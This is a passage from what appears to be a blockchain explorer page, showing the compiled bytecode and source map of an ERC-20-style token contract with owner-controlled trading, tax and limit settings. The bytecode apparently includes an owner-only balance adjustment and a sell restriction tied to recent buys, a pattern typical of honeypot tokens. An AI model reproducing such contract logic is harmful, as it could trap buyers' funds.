039283169263791ac94792610eb29287925f92889291169042906004016112be565b5f604051808303815f87803b158015610ec9575f80fd5b505af1925050508015610eda575060015b610788575050565b471561070a576009546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610f1e573d5f803e3d5ffd5b50565b5f8082610f395760035462010000900460ff16610f47565b6003546301000000900460ff165b60ff169050805f03610f5c5783915050610402565b5f6064610f69838761121d565b610f73919061132f565b9050610f80863083610cf0565b610f8a8186611234565b9695505050505050565b5f602080835283518060208501525f5b81811015610fc057858101830151858201604001528201610fa4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f1e575f80fd5b5f8060408385031215611005575f80fd5b823561101081610fe0565b946020939093013593505050565b5f805f60608486031215611030575f80fd5b833561103b81610fe0565b9250602084013561104b81610fe0565b929592945050506040919091013590565b5f6020828403121561106c575f80fd5b813561040281610fe0565b5f8060408385031215611088575f80fd5b823591506020830135801515811461109e575f80fd5b809150509250929050565b803560ff811681146110b9575f80fd5b919050565b5f80604083850312156110cf575f80fd5b6110d8836110a9565b91506110e6602084016110a9565b90509250929050565b5f8060408385031215611100575f80fd5b823561110b81610fe0565b9150602083013561109e81610fe0565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561116957815f190482111561114f5761114f61111b565b8085161561115c57918102915b93841c9390800290611134565b509250929050565b5f8261117f57506001610393565b8161118b57505f610393565b81600181146111a157600281146111ab576111c7565b6001915050610393565b60ff8411156111bc576111bc61111b565b50506001821b610393565b5060208310610133831016604e8410600b84101617156111ea575081810a610393565b6111f4838361112f565b805f19048211156112075761120761111b565b029392505050565b5f61040260ff841683611171565b80820281158282048414176103935761039361111b565b818103818111156103935761039361111b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561128c575f80fd5b815161040281610fe0565b808201808211156103935761039361111b565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561130e5784516001600160a01b0316835293830193918301916001016112e9565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261134957634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220e0667f88d74a9277ebd38e12b33505c41502c479c00a7da11ebc815dfacea58f64736f6c63430008180033

Deployed Bytecode

0x6080604052600436106100fd575f3560e01c8063751039fc116100925780639fac68cb116100625780639fac68cb146102c2578063a9059cbb146102e1578063a9128ff014610300578063cc1776d31461031f578063dd62ed3e1461033f575f80fd5b8063751039fc146102465780638a8c523c1461025a5780638da5cb5b1461026e57806395d89b4114610294575f80fd5b8063313ce567116100cd578063313ce567146101bc5780634f7041a5146101dd57806370a08231146101fc578063715018a614610230575f80fd5b806306fdde0314610108578063095ea7b31461014c57806318160ddd1461017b57806323b872dd1461019d575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b5060408051808201909152600a815269054726164616f706572760b41b60208201525b6040516101439190610f94565b60405180910390f35b348015610157575f80fd5b5061016b610166366004610ff4565b610383565b6040519015158152602001610143565b348015610186575f80fd5b5061018f610399565b604051908152602001610143565b3480156101a8575f80fd5b5061016b6101b736600461101e565b6103b8565b3480156101c7575f80fd5b5060125b60405160ff9091168152602001610143565b3480156101e8575f80fd5b506003546101cb9062010000900460ff1681565b348015610207575f80fd5b5061018f61021636600461105c565b6001600160a01b03165f9081526001602052604090205490565b34801561023b575f80fd5b50610244610409565b005b348015610251575f80fd5b50610244610483565b348015610265575f80fd5b506102446104c4565b348015610279575f80fd5b505f546040516001600160a01b039091168152602001610143565b34801561029f575f80fd5b5060408051808201909152600681526554726164616f60d01b6020820152610136565b3480156102cd575f80fd5b506102446102dc366004611077565b61070c565b3480156102ec575f80fd5b5061016b6102fb366004610ff4565b61078c565b34801561030b575f80fd5b5061024461031a3660046110be565b610798565b34801561032a575f80fd5b506003546101cb906301000000900460ff1681565b34801561034a575f80fd5b5061018f6103593660046110ef565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61038f338484610845565b5060015b92915050565b5f6103a66012600a61120f565b6103b3906298968061121d565b905090565b5f6103c4848484610969565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103fe9186916103f9908690611234565b610845565b5060015b9392505050565b5f546001600160a01b0316331461043b5760405162461bcd60e51b815260040161043290611247565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ac5760405162461bcd60e51b815260040161043290611247565b6104b4610399565b6005556104bf610399565b600655565b5f546001600160a01b031633146104ed5760405162461bcd60e51b815260040161043290611247565b60035460ff16156105325760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610432565b6003805460ff19166001179055600a54600780546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610599573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105bd919061127c565b6001600160a01b031663e6a439053060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610640919061127c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610689573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ad919061127c565b600880546001600160a01b0319166001600160a01b0392909216918217905561070a5760405162461bcd60e51b815260206004820152600f60248201526e139bc81c185a5c8818dc99585d1959608a1b6044820152606401610432565b565b5f546001600160a01b031633146107355760405162461bcd60e51b815260040161043290611247565b801561076457335f9081526001602052604081208054849290610759908490611234565b909155506107889050565b335f9081526001602052604081208054849290610782908490611297565b90915550505b5050565b5f61038f338484610969565b5f546001600160a01b031633146107c15760405162461bcd60e51b815260040161043290611247565b60638260ff16111580156107d9575060638160ff1611155b6108135760405162461bcd60e51b815260206004820152600b60248201526a092dcecc2d8d2c840a8c2f60ab1b6044820152606401610432565b6003805463ffff000019166201000060ff9485160263ff00000019161763010000009290931691909102919091179055565b6001600160a01b0383166108a75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610432565b6001600160a01b0382166109085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610432565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116109a65760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610432565b60035460ff16610a02575f546001600160a01b03848116911614610a025760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610432565b6008546001600160a01b03848116911614801590610a2e57506008546001600160a01b03838116911614155b80610a5057506001600160a01b0383165f908152600b602052604090205460ff165b80610a7257506001600160a01b0382165f908152600b602052604090205460ff165b80610a845750600354610100900460ff165b15610a9957610a94838383610cf0565b505050565b6008546001600160a01b0390811690831603610bbd576001600160a01b0383165f908152600c6020526040902054610ad2906003611297565b43108015610af757506001600160a01b0383165f908152600d60205260409020548111155b610b325760405162461bcd60e51b815260206004820152600c60248201526b105b5bdd5b9d081b1a5b5a5d60a21b6044820152606401610432565b6001600160a01b0383165f908152600d602052604081208054839290610b59908490611234565b9091555050600454305f9081526001602052604090205410610bbd576003805461ff001916610100179055610baa610ba5306001600160a01b03165f9081526001602052604090205490565b610d8f565b6003805461ff0019169055610bbd610ee2565b6008546001600160a01b038481169116148015610be85750600a546001600160a01b03838116911614155b15610cc957600554811115610c315760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610432565b60065481610c53846001600160a01b03165f9081526001602052604090205490565b610c5d9190611297565b1115610ca15760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b6044820152606401610432565b6001600160a01b0382165f908152600c60209081526040808320439055600d90915290208190555b600854610ce790849083906001600160a01b03868116911614610f21565b9050610a948383835b6001600160a01b0383165f9081526001602052604081208054839290610d17908490611234565b90915550506001600160a01b0382165f9081526001602052604081208054839290610d43908490611297565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161095c91815260200190565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610dc257610dc26112aa565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e19573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e3d919061127c565b81600181518110610e5057610e506112aa565b6001600160a01b039283166020918202929092010152600754610e769130911684610845565b60075460095460405163791ac94760e01b81526001600160a01b039283169263791ac94792610eb29287925f92889291169042906004016112be565b5f604051808303815f87803b158015610ec9575f80fd5b505af1925050508015610eda575060015b610788575050565b471561070a576009546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610f1e573d5f803e3d5ffd5b50565b5f8082610f395760035462010000900460ff16610f47565b6003546301000000900460ff165b60ff169050805f03610f5c5783915050610402565b5f6064610f69838761121d565b610f73919061132f565b9050610f80863083610cf0565b610f8a8186611234565b9695505050505050565b5f602080835283518060208501525f5b81811015610fc057858101830151858201604001528201610fa4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f1e575f80fd5b5f8060408385031215611005575f80fd5b823561101081610fe0565b946020939093013593505050565b5f805f60608486031215611030575f80fd5b833561103b81610fe0565b9250602084013561104b81610fe0565b929592945050506040919091013590565b5f6020828403121561106c575f80fd5b813561040281610fe0565b5f8060408385031215611088575f80fd5b823591506020830135801515811461109e575f80fd5b809150509250929050565b803560ff811681146110b9575f80fd5b919050565b5f80604083850312156110cf575f80fd5b6110d8836110a9565b91506110e6602084016110a9565b90509250929050565b5f8060408385031215611100575f80fd5b823561110b81610fe0565b9150602083013561109e81610fe0565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561116957815f190482111561114f5761114f61111b565b8085161561115c57918102915b93841c9390800290611134565b509250929050565b5f8261117f57506001610393565b8161118b57505f610393565b81600181146111a157600281146111ab576111c7565b6001915050610393565b60ff8411156111bc576111bc61111b565b50506001821b610393565b5060208310610133831016604e8410600b84101617156111ea575081810a610393565b6111f4838361112f565b805f19048211156112075761120761111b565b029392505050565b5f61040260ff841683611171565b80820281158282048414176103935761039361111b565b818103818111156103935761039361111b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561128c575f80fd5b815161040281610fe0565b808201808211156103935761039361111b565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561130e5784516001600160a01b0316835293830193918301916001016112e9565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261134957634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220e0667f88d74a9277ebd38e12b33505c41502c479c00a7da11ebc815dfacea58f64736f6c63430008180033

Deployed Bytecode Sourcemap

2535:19584:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16993:83;;;;;;;;;;-1:-1:-1;17063:5:0;;;;;;;;;;;;-1:-1:-1;;;17063:5:0;;;;16993:83;;;;;;;:::i;:::-;;;;;;;;17826:161;;;;;;;;;;-1:-1:-1;17826:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;17826:161:0;1023:187:1;17270:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;17270:95:0;1215:177:1;17995:266:0;;;;;;;;;;-1:-1:-1;17995:266:0;;;;;:::i;:::-;;:::i;17179:83::-;;;;;;;;;;-1:-1:-1;2886:2:0;17179:83;;;2030:4:1;2018:17;;;2000:36;;1988:2;1973:18;17179:83:0;1858:184:1;2790:23:0;;;;;;;;;;-1:-1:-1;2790:23:0;;;;;;;;;;;17373:119;;;;;;;;;;-1:-1:-1;17373:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;17466:18:0;17439:7;17466:18;;;:9;:18;;;;;;;17373:119;732:148;;;;;;;;;;;;;:::i;:::-;;19432:131;;;;;;;;;;;;;:::i;18612:377::-;;;;;;;;;;;;;:::i;518:79::-;;;;;;;;;;-1:-1:-1;556:7:0;583:6;518:79;;-1:-1:-1;;;;;583:6:0;;;2445:51:1;;2433:2;2418:18;518:79:0;2299:203:1;17084:87:0;;;;;;;;;;-1:-1:-1;17156:7:0;;;;;;;;;;;;-1:-1:-1;;;17156:7:0;;;;17084:87;;19213:211;;;;;;;;;;-1:-1:-1;19213:211:0;;;;;:::i;:::-;;:::i;17500:167::-;;;;;;;;;;-1:-1:-1;17500:167:0;;;;;:::i;:::-;;:::i;18997:208::-;;;;;;;;;;-1:-1:-1;18997:208:0;;;;;:::i;:::-;;:::i;2820:24::-;;;;;;;;;;-1:-1:-1;2820:24:0;;;;;;;;;;;17675:143;;;;;;;;;;-1:-1:-1;17675:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;17783:18:0;;;17756:7;17783:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;17675:143;17826:161;17901:4;17918:39;175:10;17941:7;17950:6;17918:8;:39::i;:::-;-1:-1:-1;17975:4:0;17826:161;;;;;:::o;17270:95::-;17323:7;2941:15;2886:2;2941;:15;:::i;:::-;2930:26;;:8;:26;:::i;:::-;17343:14;;17270:95;:::o;17995:266::-;18093:4;18110:36;18120:6;18128:9;18139:6;18110:9;:36::i;:::-;-1:-1:-1;;;;;18188:19:0;;;;;;:11;:19;;;;;;;;175:10;18188:33;;;;;;;;;18157:74;;18166:6;;18188:42;;18224:6;;18188:42;:::i;:::-;18157:8;:74::i;:::-;-1:-1:-1;18249:4:0;17995:266;;;;;;:::o;732:148::-;645:6;;-1:-1:-1;;;;;645:6:0;175:10;645:22;637:67;;;;-1:-1:-1;;;637:67:0;;;;;;;:::i;:::-;;;;;;;;;839:1:::1;823:6:::0;;802:40:::1;::::0;-1:-1:-1;;;;;823:6:0;;::::1;::::0;802:40:::1;::::0;839:1;;802:40:::1;870:1;853:19:::0;;-1:-1:-1;;;;;;853:19:0::1;::::0;;732:148::o;19432:131::-;645:6;;-1:-1:-1;;;;;645:6:0;175:10;645:22;637:67;;;;-1:-1:-1;;;637:67:0;;;;;;;:::i;:::-;19500:13:::1;:11;:13::i;:::-;19486:11;:27:::0;19542:13:::1;:11;:13::i;:::-;19524:15;:31:::0;19432:131::o;18612:377::-;645:6;;-1:-1:-1;;;;;645:6:0;175:10;645:22;637:67;;;;-1:-1:-1;;;637:67:0;;;;;;;:::i;:::-;18676:14:::1;::::0;::::1;;18675:15;18667:43;;;::::0;-1:-1:-1;;;18667:43:0;;6042:2:1;18667:43:0::1;::::0;::::1;6024:21:1::0;6081:2;6061:18;;;6054:30;-1:-1:-1;;;6100:18:1;;;6093:45;6155:18;;18667:43:0::1;5840:339:1::0;18667:43:0::1;18721:14;:21:::0;;-1:-1:-1;;18721:21:0::1;18738:4;18721:21;::::0;;18790:6:::1;::::0;18753:15:::1;:44:::0;;-1:-1:-1;;;;;;18753:44:0::1;-1:-1:-1::0;;;;;18790:6:0;;::::1;18753:44:::0;;::::1;::::0;;18842:25:::1;::::0;;-1:-1:-1;;;18842:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;18790:6;18842:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;18824:52:0::1;;18885:4;18892:15;;;;;;;;;-1:-1:-1::0;;;;;18892:15:0::1;-1:-1:-1::0;;;;;18892:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18824:91;::::0;-1:-1:-1;;;;;;18824:91:0::1;::::0;;;;;;-1:-1:-1;;;;;6670:15:1;;;18824:91:0::1;::::0;::::1;6652:34:1::0;6722:15;;6702:18;;;6695:43;6587:18;;18824:91:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18808:13;:107:::0;;-1:-1:-1;;;;;;18808:107:0::1;-1:-1:-1::0;;;;;18808:107:0;;;::::1;::::0;;::::1;::::0;;18926:55:::1;;;::::0;-1:-1:-1;;;18926:55:0;;6951:2:1;18926:55:0::1;::::0;::::1;6933:21:1::0;6990:2;6970:18;;;6963:30;-1:-1:-1;;;7009:18:1;;;7002:45;7064:18;;18926:55:0::1;6749:339:1::0;18926:55:0::1;18612:377::o:0;19213:211::-;645:6;;-1:-1:-1;;;;;645:6:0;175:10;645:22;637:67;;;;-1:-1:-1;;;637:67:0;;;;;;;:::i;:::-;19288:4:::1;19284:89;;;19319:10;19309:21;::::0;;;:9:::1;:21;::::0;;;;:31;;19334:6;;19309:21;:31:::1;::::0;19334:6;;19309:31:::1;:::i;:::-;::::0;;;-1:-1:-1;19355:7:0::1;::::0;-1:-1:-1;19355:7:0::1;19284:89;19395:10;19385:21;::::0;;;:9:::1;:21;::::0;;;;:31;;19410:6;;19385:21;:31:::1;::::0;19410:6;;19385:31:::1;:::i;:::-;::::0;;;-1:-1:-1;;715:1:0::1;19213:211:::0;;:::o;17500:167::-;17578:4;17595:42;175:10;17619:9;17630:6;17595:9;:42::i;18997:208::-;645:6;;-1:-1:-1;;;;;645:6:0;175:10;645:22;637:67;;;;-1:-1:-1;;;637:67:0;;;;;;;:::i;:::-;19099:2:::1;19086:9;:15;;;;:35;;;;;19119:2;19105:10;:16;;;;19086:35;19078:59;;;::::0;-1:-1:-1;;;19078:59:0;;7425:2:1;19078:59:0::1;::::0;::::1;7407:21:1::0;7464:2;7444:18;;;7437:30;-1:-1:-1;;;7483:18:1;;;7476:41;7534:18;;19078:59:0::1;7223:335:1::0;19078:59:0::1;19148:6;:18:::0;;-1:-1:-1;;19177:20:0;19148:18;::::1;::::0;;::::1;;-1:-1:-1::0;;19177:20:0;;;;;;::::1;::::0;;;::::1;::::0;;;::::1;::::0;;18997:208::o;18269:335::-;-1:-1:-1;;;;;18362:19:0;;18354:68;;;;-1:-1:-1;;;18354:68:0;;7765:2:1;18354:68:0;;;7747:21:1;7804:2;7784:18;;;7777:30;7843:34;7823:18;;;7816:62;-1:-1:-1;;;7894:18:1;;;7887:34;7938:19;;18354:68:0;7563:400:1;18354:68:0;-1:-1:-1;;;;;18441:21:0;;18433:68;;;;-1:-1:-1;;;18433:68:0;;8170:2:1;18433:68:0;;;8152:21:1;8209:2;8189:18;;;8182:30;8248:34;8228:18;;;8221:62;-1:-1:-1;;;8299:18:1;;;8292:32;8341:19;;18433:68:0;7968:398:1;18433:68:0;-1:-1:-1;;;;;18512:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;18564:32;;1361:25:1;;;18564:32:0;;1334:18:1;18564:32:0;;;;;;;;18269:335;;;:::o;19776:1319::-;19874:1;19865:6;:10;19857:34;;;;-1:-1:-1;;;19857:34:0;;8573:2:1;19857:34:0;;;8555:21:1;8612:2;8592:18;;;8585:30;-1:-1:-1;;;8631:18:1;;;8624:41;8682:18;;19857:34:0;8371:335:1;19857:34:0;19909:14;;;;19904:95;;556:7;583:6;-1:-1:-1;;;;;19948:15:0;;;583:6;;19948:15;19940:47;;;;-1:-1:-1;;;19940:47:0;;8913:2:1;19940:47:0;;;8895:21:1;8952:2;8932:18;;;8925:30;-1:-1:-1;;;8971:18:1;;;8964:49;9030:18;;19940:47:0;8711:343:1;19940:47:0;20023:13;;-1:-1:-1;;;;;20015:21:0;;;20023:13;;20015:21;;;;:44;;-1:-1:-1;20046:13:0;;-1:-1:-1;;;;;20040:19:0;;;20046:13;;20040:19;;20015:44;:72;;;-1:-1:-1;;;;;;20063:24:0;;;;;;:18;:24;;;;;;;;20015:72;:98;;;-1:-1:-1;;;;;;20091:22:0;;;;;;:18;:22;;;;;;;;20015:98;:110;;;-1:-1:-1;20117:8:0;;;;;;;20015:110;20011:196;;;20142:32;20157:4;20163:2;20167:6;20142:14;:32::i;:::-;19776:1319;;;:::o;20011:196::-;20229:13;;-1:-1:-1;;;;;20229:13:0;;;20223:19;;;;20219:445;;-1:-1:-1;;;;;20282:19:0;;;;;;:13;:19;;;;;;:23;;20304:1;20282:23;:::i;:::-;20267:12;:38;:72;;;;-1:-1:-1;;;;;;20319:20:0;;;;;;:14;:20;;;;;;20309:30;;;20267:72;20259:97;;;;-1:-1:-1;;;20259:97:0;;9261:2:1;20259:97:0;;;9243:21:1;9300:2;9280:18;;;9273:30;-1:-1:-1;;;9319:18:1;;;9312:42;9371:18;;20259:97:0;9059:336:1;20259:97:0;-1:-1:-1;;;;;20371:20:0;;;;;;:14;:20;;;;;:30;;20395:6;;20371:20;:30;;20395:6;;20371:30;:::i;:::-;;;;-1:-1:-1;;20448:18:0;;20438:4;17439:7;17466:18;;;:9;:18;;;;;;20420:46;20416:237;;20487:8;:15;;-1:-1:-1;;20487:15:0;;;;;20521:42;20538:24;20556:4;-1:-1:-1;;;;;17466:18:0;17439:7;17466:18;;;:9;:18;;;;;;;17373:119;20538:24;20521:16;:42::i;:::-;20582:8;:16;;-1:-1:-1;;20582:16:0;;;20617:20;:18;:20::i;:::-;20688:13;;-1:-1:-1;;;;;20680:21:0;;;20688:13;;20680:21;:37;;;;-1:-1:-1;20711:6:0;;-1:-1:-1;;;;;20705:12:0;;;20711:6;;20705:12;;20680:37;20676:305;;;20752:11;;20742:6;:21;;20734:49;;;;-1:-1:-1;;;20734:49:0;;9602:2:1;20734:49:0;;;9584:21:1;9641:2;9621:18;;;9614:30;-1:-1:-1;;;9660:18:1;;;9653:45;9715:18;;20734:49:0;9400:339:1;20734:49:0;20841:15;;20831:6;20806:22;20824:2;-1:-1:-1;;;;;17466:18:0;17439:7;17466:18;;;:9;:18;;;;;;;17373:119;20806:22;:31;;;;:::i;:::-;:50;;20798:82;;;;-1:-1:-1;;;20798:82:0;;9946:2:1;20798:82:0;;;9928:21:1;9985:2;9965:18;;;9958:30;-1:-1:-1;;;10004:18:1;;;9997:49;10063:18;;20798:82:0;9744:343:1;20798:82:0;-1:-1:-1;;;;;20895:17:0;;;;;;:13;:17;;;;;;;;20915:12;20895:32;;20942:14;:18;;;;;:27;;;20676:305;21030:13;;21002:42;;21010:4;;21016:6;;-1:-1:-1;;;;;21024:19:0;;;21030:13;;21024:19;21002:7;:42::i;:::-;20993:51;;21055:32;21070:4;21076:2;21080:6;19571:197;-1:-1:-1;;;;;19657:15:0;;;;;;:9;:15;;;;;:25;;19676:6;;19657:15;:25;;19676:6;;19657:25;:::i;:::-;;;;-1:-1:-1;;;;;;;19693:13:0;;;;;;:9;:13;;;;;:23;;19710:6;;19693:13;:23;;19710:6;;19693:23;:::i;:::-;;;;;;;;19749:2;-1:-1:-1;;;;;19734:26:0;19743:4;-1:-1:-1;;;;;19734:26:0;;19753:6;19734:26;;;;1361:25:1;;1349:2;1334:18;;1215:177;21436:516:0;21527:16;;;21541:1;21527:16;;;;;;;;21503:21;;21527:16;;;;;;;;;;-1:-1:-1;21527:16:0;21503:40;;21572:4;21554;21559:1;21554:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;21554:23:0;;;:7;;;;;;;;;;:23;;;;21598:15;;:22;;;-1:-1:-1;;;21598:22:0;;;;:15;;;;;:20;;:22;;;;;21554:7;;21598:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21588:4;21593:1;21588:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;21588:32:0;;;:7;;;;;;;;;:32;21665:15;;21633:62;;21650:4;;21665:15;21683:11;21633:8;:62::i;:::-;21710:15;;21852:9;;21710:192;;-1:-1:-1;;;21710:192:0;;-1:-1:-1;;;;;21710:15:0;;;;:66;;:192;;21791:11;;21710:15;;21833:4;;21852:9;;;21876:15;;21710:192;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21706:239;;21927:7;21436:516;:::o;21960:156::-;22014:21;:25;22010:99;;22056:9;;:41;;-1:-1:-1;;;;;22056:9:0;;;;22075:21;22056:41;;;;;:9;:41;:9;:41;22075:21;22056:9;:41;;;;;;;;;;;;;;;;;;;;;21960:156::o;21103:325::-;21181:7;21201:11;21215:6;:25;;21234:6;;;;;;;21215:25;;;21224:7;;;;;;;21215:25;21201:39;;;;21255:3;21262:1;21255:8;21251:27;;21272:6;21265:13;;;;;21251:27;21289:17;21324:3;21309:12;21318:3;21309:6;:12;:::i;:::-;:18;;;;:::i;:::-;21289:38;;21338:46;21353:4;21367;21374:9;21338:14;:46::i;:::-;21402:18;21411:9;21402:6;:18;:::i;:::-;21395:25;21103:325;-1:-1:-1;;;;;;21103:325:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:341::-;2572:6;2580;2633:2;2621:9;2612:7;2608:23;2604:32;2601:52;;;2649:1;2646;2639:12;2601:52;2685:9;2672:23;2662:33;;2745:2;2734:9;2730:18;2717:32;2792:5;2785:13;2778:21;2771:5;2768:32;2758:60;;2814:1;2811;2804:12;2758:60;2837:5;2827:15;;;2507:341;;;;;:::o;2853:156::-;2919:20;;2979:4;2968:16;;2958:27;;2948:55;;2999:1;2996;2989:12;2948:55;2853:156;;;:::o;3014:252::-;3078:6;3086;3139:2;3127:9;3118:7;3114:23;3110:32;3107:52;;;3155:1;3152;3145:12;3107:52;3178:27;3195:9;3178:27;:::i;:::-;3168:37;;3224:36;3256:2;3245:9;3241:18;3224:36;:::i;:::-;3214:46;;3014:252;;;;;:::o;3271:388::-;3339:6;3347;3400:2;3388:9;3379:7;3375:23;3371:32;3368:52;;;3416:1;3413;3406:12;3368:52;3455:9;3442:23;3474:31;3499:5;3474:31;:::i;:::-;3524:5;-1:-1:-1;3581:2:1;3566:18;;3553:32;3594:33;3553:32;3594:33;:::i;3664:127::-;3725:10;3720:3;3716:20;3713:1;3706:31;3756:4;3753:1;3746:15;3780:4;3777:1;3770:15;3796:416;3885:1;3922:5;3885:1;3936:270;3957:7;3947:8;3944:21;3936:270;;;4016:4;4012:1;4008:6;4004:17;3998:4;3995:27;3992:53;;;4025:18;;:::i;:::-;4075:7;4065:8;4061:22;4058:55;;;4095:16;;;;4058:55;4174:22;;;;4134:15;;;;3936:270;;;3940:3;3796:416;;;;;:::o;4217:806::-;4266:5;4296:8;4286:80;;-1:-1:-1;4337:1:1;4351:5;;4286:80;4385:4;4375:76;;-1:-1:-1;4422:1:1;4436:5;;4375:76;4467:4;4485:1;4480:59;;;;4553:1;4548:130;;;;4460:218;;4480:59;4510:1;4501:10;;4524:5;;;4548:130;4585:3;4575:8;4572:17;4569:43;;;4592:18;;:::i;:::-;-1:-1:-1;;4648:1:1;4634:16;;4663:5;;4460:218;;4762:2;4752:8;4749:16;4743:3;4737:4;4734:13;4730:36;4724:2;4714:8;4711:16;4706:2;4700:4;4697:12;4693:35;4690:77;4687:159;;;-1:-1:-1;4799:19:1;;;4831:5;;4687:159;4878:34;4903:8;4897:4;4878:34;:::i;:::-;4948:6;4944:1;4940:6;4936:19;4927:7;4924:32;4921:58;;;4959:18;;:::i;:::-;4997:20;;4217:806;-1:-1:-1;;;4217:806:1:o;5028:140::-;5086:5;5115:47;5156:4;5146:8;5142:19;5136:4;5115:47;:::i;5173:168::-;5246:9;;;5277;;5294:15;;;5288:22;;5274:37;5264:71;;5315:18;;:::i;5346:128::-;5413:9;;;5434:11;;;5431:37;;;5448:18;;:::i;5479:356::-;5681:2;5663:21;;;5700:18;;;5693:30;5759:34;5754:2;5739:18;;5732:62;5826:2;5811:18;;5479:356::o;6184:251::-;6254:6;6307:2;6295:9;6286:7;6282:23;6278:32;6275:52;;;6323:1;6320;6313:12;6275:52;635